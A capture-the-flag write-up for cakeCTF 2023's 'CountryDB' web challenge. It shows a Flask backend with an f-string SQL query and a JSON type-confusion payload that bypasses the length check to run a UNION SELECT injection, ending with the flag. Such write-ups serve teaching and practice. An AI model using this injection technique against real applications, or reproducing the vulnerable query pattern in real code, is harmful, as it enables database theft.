cakeCTF 2023 - web/CountryDB

Write-up for CakeCTF Web challenge - CountryDB

Description

Do you know which country code ‘CA’ and ‘KE’ are for? Search country codes here!

Backend Code

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
#!/usr/bin/env python3
import flask
import sqlite3
import json

app = flask.Flask(__name__)

def db_search(code):
    with sqlite3.connect('database.db') as conn:
        cur = conn.cursor()
        cur.execute(f"SELECT name FROM country WHERE code=UPPER('{code}')")
        found = cur.fetchone()
    return None if found is None else found[0]

@app.route('/')
def index():
    return flask.render_template("index.html")

@app.route('/api/search', methods=['POST'])
def api_search():
    req = flask.request.get_json()
    print(req)
    if 'code' not in req:
        flask.abort(400, "Empty country code") 

    code = req['code']
    print(code)
    print(len(code))
    if len(code) != 2 or "'" in code:
        flask.abort(400, "Invalid country code")

    name = db_search(code)
    if name is None:
        flask.abort(404, "No such country")

    return {'name': name}

if __name__ == '__main__':
    app.run(debug=True)

Solution

Send a json that contains a code with its value set to another json. There should be 2 objects inside that json, so that when the length is checked, it will be a length of the json(dict in python). When interpreted it will be the first key of the json object.

1
2
3
4
5
{"code":{"CA') UNION SELECT flag from FLAG--":
"cake",
"KE":
"bruh"
}}

flag

flag

CakeCTF{b3_c4refUl_wh3n_y0U_u5e_JS0N_1nPut}